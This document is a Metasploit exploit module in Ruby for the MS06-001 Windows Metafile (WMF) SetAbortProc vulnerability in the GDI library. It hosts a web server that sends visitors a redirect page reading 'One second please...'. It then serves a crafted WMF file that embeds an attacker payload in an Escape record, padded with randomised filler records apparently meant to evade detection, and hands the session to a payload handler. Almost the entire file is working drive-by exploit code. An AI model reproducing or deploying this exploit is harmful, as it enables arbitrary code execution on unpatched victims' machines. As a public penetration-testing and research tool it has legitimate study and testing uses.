##
# $Id: ms06_001_wmf_setabortproc.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	#
	# This module acts as an HTTP server
	#
	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution',
			'Description'    => %q{
					This module exploits a vulnerability in the GDI library included with
				Windows XP and 2003. This vulnerability uses the 'Escape' metafile function
				to execute arbitrary code through the SetAbortProc procedure. This module
				generates a random WMF record stream for each request.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'hdm',
					'san <san@xfocus.org>',
					'O600KO78RUS@unknown.ru',
				],
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					['CVE', '2005-4560'],
					['OSVDB', '21987'],
					['MSB', 'MS06-001'],
					['BID', '16074'],
					['URL', 'http://www.microsoft.com/technet/security/advisory/912840.mspx'],
					['URL', 'http://wvware.sourceforge.net/caolan/ora-wmf.html'],
					['URL', 'http://www.geocad.ru/new/site/Formats/Graphics/wmf/wmf.txt'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 1000 + (rand(256).to_i * 4),
					'BadChars' => "\x00",
					'Compat'   =>
						{
							'ConnectionType' => '-find',
						},
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP/2003/Vista Automatic', { }],
				],
			'DisclosureDate' => 'Dec 27 2005',
			'DefaultTarget'  => 0))
	end

	def on_request_uri(cli, request)

		ext = 'wmf'

		if (not request.uri.match(/\.wmf$/i))
			if ("/" == get_resource[-1,1])
				wmf_uri = get_resource[0, get_resource.length - 1]
			else
				wmf_uri = get_resource
			end
			wmf_uri << "/" + rand_text_alphanumeric(rand(80)+16) + "." + ext

			html = "<html><meta http-equiv='refresh' content='0; " +
				"URL=#{wmf_uri}'><body>One second please...</body></html>"
			send_response_html(cli, html)
			return
		end

		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the compressed response to the client
		send_response(cli, generate_metafile(p), { 'Content-Type' => 'text/plain' })

		# Handle the payload
		handler(cli)
	end

	def generate_metafile(payload)

		# Minimal length values before and after the Escape record
		pre_mlen = 1440 + rand(8192)
		suf_mlen = 128  + rand(8192)

		# Track the number of generated records
		fill = 0

		# The prefix and suffix buffers
		pre_buff = ''
		suf_buff = ''

		# Generate the prefix
		while (pre_buff.length < pre_mlen)
			pre_buff << generate_record()
			fill += 1
		end

		# Generate the suffix
		while (suf_buff.length < suf_mlen)
			suf_buff << generate_record()
			fill += 1
		end

		clen = 18 + 8 + 6 + payload.encoded.length + pre_buff.length + suf_buff.length
		data =
			#
			# WindowsMetaHeader
			#
			[
				# WORD  FileType;       /* Type of metafile (1=memory, 2=disk) */
				rand(2)+1,
				# WORD  HeaderSize;     /* Size of header in WORDS (always 9) */
				9,
				# WORD  Version;        /* Version of Microsoft Windows used */
				( rand(2).to_i == 1 ? 0x0300 : 0x0100 ),
				# DWORD FileSize;       /* Total size of the metafile in WORDs */
				clen/2,
				# WORD  NumOfObjects;   /* Number of objects in the file */
				rand(0xffff),
				# DWORD MaxRecordSize;  /* The size of largest record in WORDs */
				rand(0xffffffff),
				# WORD  NumOfParams;    /* Not Used (always 0) */
				rand(0xffff),
			].pack('vvvVvVv') +
			#
			# Filler data
			#
			pre_buff +
			#
			# StandardMetaRecord - Escape()
			#
			[
				# DWORD Size;          /* Total size of the record in WORDs */
				4,
				# WORD  Function;      /* Function number (defined in WINDOWS.H) */
				(rand(256).to_i << 8) + 0x26,
				# WORD  Parameters[];  /* Parameter values passed to function */
				9,
			].pack('Vvv') + payload.encoded +
			#
			# Filler data
			#
			suf_buff +
			#
			# Complete the stream
			#
			[3, 0].pack('Vv') +
			#
			# Some extra fun padding
			#
			rand_text(rand(16384)+1024)

		return data

	end

	def generate_record
		type = rand(3)

		case type
			when 0
				# CreatePenIndirect
				return [8, 0x02fa].pack('Vv') + rand_text(10)
			when 1
				# CreateBrushIndirect
				return [7, 0x02fc].pack('Vv') + rand_text(8)
			else
				# Rectangle
				return [7, 0x041b].pack('Vv') + rand_text(8)
		end
	end

end
